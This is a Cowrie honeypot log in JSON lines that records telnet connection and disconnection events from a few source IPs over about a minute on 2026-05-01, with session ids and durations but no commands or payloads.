{"eventid":"cowrie.session.closed","duration":30.694187879562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:29.021617Z","src_ip":"154.53.41.252","session":"82493e1d7365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727949619293213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:29.037335Z","src_ip":"154.53.41.252","session":"2b76d18a35e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":46986,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f2d5a49264","protocol":"telnet","message":"New connection: 154.53.41.252:46986 (159.203.135.109:23) [session: 99f2d5a49264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:29.263790Z"}
{"eventid":"cowrie.session.closed","duration":31.96919560432434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:31.293919Z","src_ip":"80.65.211.42","session":"6005c22fa362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860870599746704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:32.057697Z","src_ip":"154.53.41.252","session":"b99082c91232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":52142,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48909066e21","protocol":"telnet","message":"New connection: 154.53.41.252:52142 (159.203.135.109:23) [session: b48909066e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:32.346192Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":53840,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3801420e7d","protocol":"telnet","message":"New connection: 154.53.41.252:53840 (159.203.135.109:23) [session: 6e3801420e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:33.356381Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54078,"dst_ip":"159.203.135.109","dst_port":23,"session":"244432f486a6","protocol":"telnet","message":"New connection: 154.53.41.252:54078 (159.203.135.109:23) [session: 244432f486a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:33.485882Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a487d56f32","protocol":"telnet","message":"New connection: 154.53.41.252:54732 (159.203.135.109:23) [session: 67a487d56f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:33.832177Z"}
{"eventid":"cowrie.session.closed","duration":30.865774869918823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:35.104584Z","src_ip":"154.53.41.252","session":"e334d686bd03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd5c05c6070","protocol":"telnet","message":"New connection: 157.173.110.44:55296 (10.17.0.5:23) [session: fbd5c05c6070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:35.109829Z"}
{"eventid":"cowrie.session.closed","duration":120.00178647041321,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:35.832065Z","src_ip":"191.6.101.54","session":"9e9af08b3934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33473038673401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:36.034984Z","src_ip":"154.53.41.252","session":"52adb3a29987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58230,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d603e355f53","protocol":"telnet","message":"New connection: 154.53.41.252:58230 (159.203.135.109:23) [session: 8d603e355f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:36.091359Z"}
{"eventid":"cowrie.session.closed","duration":30.153494596481323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:36.115904Z","src_ip":"154.53.41.252","session":"988c85f859b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3cf8ebe689","protocol":"telnet","message":"New connection: 157.173.110.44:55302 (10.17.0.5:23) [session: 7f3cf8ebe689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:36.790414Z"}
{"eventid":"cowrie.session.closed","duration":120.00132918357849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:37.079140Z","src_ip":"191.6.101.54","session":"28f7e0fa276a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953988790512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:37.471704Z","src_ip":"157.173.110.44","session":"d6c947b194a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":55310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f680464a06","protocol":"telnet","message":"New connection: 157.173.110.44:55310 (10.17.0.5:23) [session: c1f680464a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:37.785576Z"}
{"eventid":"cowrie.session.closed","duration":31.044395685195923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:40.040935Z","src_ip":"154.53.41.252","session":"05b697b4a762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48526,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a0591a7cc5","protocol":"telnet","message":"New connection: 80.65.211.42:48526 (159.203.135.109:23) [session: 33a0591a7cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:40.108716Z"}
{"eventid":"cowrie.session.closed","duration":30.610421895980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:41.074482Z","src_ip":"154.53.41.252","session":"aee2ff4c176f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827314376831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:41.245936Z","src_ip":"154.53.41.252","session":"faebdaa754ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573121070861816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:41.280490Z","src_ip":"154.53.41.252","session":"cf5843472be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f718284deef6","protocol":"telnet","message":"New connection: 154.53.41.252:38498 (159.203.135.109:23) [session: f718284deef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:41.399510Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":39282,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa78616b88a","protocol":"telnet","message":"New connection: 154.53.41.252:39282 (159.203.135.109:23) [session: 2fa78616b88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:41.994911Z"}
{"eventid":"cowrie.session.closed","duration":30.72461438179016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:42.035973Z","src_ip":"154.53.41.252","session":"30c928bd61c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863752126693726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:42.043394Z","src_ip":"154.53.41.252","session":"14aa39f9de7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fe8f5bcad1a","protocol":"telnet","message":"New connection: 157.173.110.44:40484 (10.17.0.5:23) [session: 9fe8f5bcad1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:42.820308Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d93e13d88a6d","protocol":"telnet","message":"New connection: 103.211.218.218:41192 (159.203.135.109:23) [session: d93e13d88a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:43.502535Z"}
{"eventid":"cowrie.session.closed","duration":30.853902101516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:44.014506Z","src_ip":"154.53.41.252","session":"c4c110f2756b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.140864849090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.029476Z","src_ip":"154.53.41.252","session":"1348fda3859d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19661593437195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.063843Z","src_ip":"154.53.41.252","session":"e6d1444e1c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004696130752563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.183327Z","src_ip":"157.173.110.44","session":"fe116f93eb04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e816c498019b","protocol":"telnet","message":"New connection: 157.173.110.44:40488 (10.17.0.5:23) [session: e816c498019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.319436Z"}
{"eventid":"cowrie.session.closed","duration":30.75115728378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.494104Z","src_ip":"157.173.110.44","session":"1fb1e872bc1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"46cfd54d1961","protocol":"telnet","message":"New connection: 157.173.110.44:40494 (10.17.0.5:23) [session: 46cfd54d1961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:45.591837Z"}
{"eventid":"cowrie.session.closed","duration":30.280924558639526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:48.175999Z","src_ip":"157.173.110.44","session":"009fe0af6886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40500,"dst_ip":"10.17.0.5","dst_port":23,"session":"735b8962676f","protocol":"telnet","message":"New connection: 157.173.110.44:40500 (10.17.0.5:23) [session: 735b8962676f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:48.925941Z"}
{"eventid":"cowrie.session.closed","duration":30.77849817276001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:49.136242Z","src_ip":"154.53.41.252","session":"16a585c4e2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5258c0b3143f","protocol":"telnet","message":"New connection: 157.173.110.44:40512 (10.17.0.5:23) [session: 5258c0b3143f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:49.392911Z"}
{"eventid":"cowrie.session.closed","duration":31.017513751983643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:50.320498Z","src_ip":"157.173.110.44","session":"2254d5d2e85e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40526,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9494000808b","protocol":"telnet","message":"New connection: 157.173.110.44:40526 (10.17.0.5:23) [session: e9494000808b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:50.700920Z"}
{"eventid":"cowrie.session.closed","duration":30.627286434173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:51.047865Z","src_ip":"154.53.41.252","session":"b96c9cbbfd66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73595142364502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:53.603533Z","src_ip":"154.53.41.252","session":"f2a92aee5445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":37544,"dst_ip":"10.17.0.5","dst_port":23,"session":"766387868e72","protocol":"telnet","message":"New connection: 157.173.110.44:37544 (10.17.0.5:23) [session: 766387868e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:53.906005Z"}
{"eventid":"cowrie.session.closed","duration":30.873970985412598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:54.046474Z","src_ip":"154.53.41.252","session":"115d875c0596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":37550,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad43d4da9a51","protocol":"telnet","message":"New connection: 157.173.110.44:37550 (10.17.0.5:23) [session: ad43d4da9a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:54.116398Z"}
{"eventid":"cowrie.session.closed","duration":30.87827968597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:55.366260Z","src_ip":"157.173.110.44","session":"f3cb253daa2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423800230026245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:55.370895Z","src_ip":"157.173.110.44","session":"29b218db8123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"850258437d15","protocol":"telnet","message":"New connection: 154.53.41.252:35824 (159.203.135.109:23) [session: 850258437d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:57.473260Z"}
{"eventid":"cowrie.session.closed","duration":30.812926769256592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:57.672107Z","src_ip":"154.53.41.252","session":"00ff4b211663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9283435bd59","protocol":"telnet","message":"New connection: 154.53.41.252:37116 (159.203.135.109:23) [session: c9283435bd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:58.295109Z"}
{"eventid":"cowrie.session.closed","duration":30.934897422790527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:59.075216Z","src_ip":"154.53.41.252","session":"95f645ca9b38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":52276,"dst_ip":"10.17.0.5","dst_port":23,"session":"da44933c4861","protocol":"telnet","message":"New connection: 69.65.3.189:52276 (10.17.0.5:23) [session: da44933c4861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:59.348970Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc1f4826554","protocol":"telnet","message":"New connection: 157.173.110.44:37560 (10.17.0.5:23) [session: 9cc1f4826554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:59.793478Z"}
{"eventid":"cowrie.session.closed","duration":30.766608476638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:00.030232Z","src_ip":"154.53.41.252","session":"99f2d5a49264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758511304855347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:03.104631Z","src_ip":"154.53.41.252","session":"b48909066e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.198062658309937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:04.030131Z","src_ip":"154.53.41.252","session":"67a487d56f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558441162109375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:04.044228Z","src_ip":"154.53.41.252","session":"244432f486a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20017695426941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:04.556461Z","src_ip":"154.53.41.252","session":"6e3801420e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":50142,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e1760eee91e","protocol":"telnet","message":"New connection: 154.53.41.252:50142 (159.203.135.109:23) [session: 0e1760eee91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:06.541999Z"}
{"eventid":"cowrie.session.closed","duration":31.445821046829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:06.555593Z","src_ip":"157.173.110.44","session":"fbd5c05c6070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":50650,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd2ec1d9ae26","protocol":"telnet","message":"New connection: 154.53.41.252:50650 (159.203.135.109:23) [session: fd2ec1d9ae26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:06.892347Z"}
{"eventid":"cowrie.session.closed","duration":30.422544479370117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:07.212849Z","src_ip":"157.173.110.44","session":"7f3cf8ebe689","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48382043838501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:07.575089Z","src_ip":"154.53.41.252","session":"8d603e355f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998578548431396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:08.784074Z","src_ip":"157.173.110.44","session":"c1f680464a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":51856,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c8995cee6b9","protocol":"telnet","message":"New connection: 157.173.110.44:51856 (10.17.0.5:23) [session: 1c8995cee6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:09.356086Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55894,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f833e38a4ad","protocol":"telnet","message":"New connection: 154.53.41.252:55894 (159.203.135.109:23) [session: 1f833e38a4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:10.115412Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":51858,"dst_ip":"10.17.0.5","dst_port":23,"session":"93c412c83da4","protocol":"telnet","message":"New connection: 157.173.110.44:51858 (10.17.0.5:23) [session: 93c412c83da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:10.217222Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54858,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabac4718af7","protocol":"telnet","message":"New connection: 80.65.211.42:54858 (159.203.135.109:23) [session: fabac4718af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:11.496383Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58750,"dst_ip":"159.203.135.109","dst_port":23,"session":"99113b33d5b7","protocol":"telnet","message":"New connection: 154.53.41.252:58750 (159.203.135.109:23) [session: 99113b33d5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:11.740349Z"}
{"eventid":"cowrie.session.closed","duration":30.673183917999268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:12.072602Z","src_ip":"154.53.41.252","session":"f718284deef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08691620826721,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:12.195544Z","src_ip":"80.65.211.42","session":"33a0591a7cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48962,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bde776f6340","protocol":"telnet","message":"New connection: 157.173.110.44:48962 (10.17.0.5:23) [session: 7bde776f6340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:12.983104Z"}
{"eventid":"cowrie.session.closed","duration":31.10979461669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:13.104611Z","src_ip":"154.53.41.252","session":"2fa78616b88a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525583505630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:13.345731Z","src_ip":"157.173.110.44","session":"9fe8f5bcad1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.441898345947266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:13.944323Z","src_ip":"103.211.218.218","session":"d93e13d88a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48972,"dst_ip":"10.17.0.5","dst_port":23,"session":"481088cbe6e4","protocol":"telnet","message":"New connection: 157.173.110.44:48972 (10.17.0.5:23) [session: 481088cbe6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:16.018020Z"}
{"eventid":"cowrie.session.closed","duration":30.585981130599976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:16.177597Z","src_ip":"157.173.110.44","session":"46cfd54d1961","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07373285293579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:16.393072Z","src_ip":"157.173.110.44","session":"e816c498019b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"00be67362c8e","protocol":"telnet","message":"New connection: 157.173.110.44:48988 (10.17.0.5:23) [session: 00be67362c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:17.936618Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42286,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5349dc6356","protocol":"telnet","message":"New connection: 154.53.41.252:42286 (159.203.135.109:23) [session: 7f5349dc6356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:18.320364Z"}
{"eventid":"cowrie.session.closed","duration":30.436683177947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:19.362534Z","src_ip":"157.173.110.44","session":"735b8962676f","protocol":"telnet"}
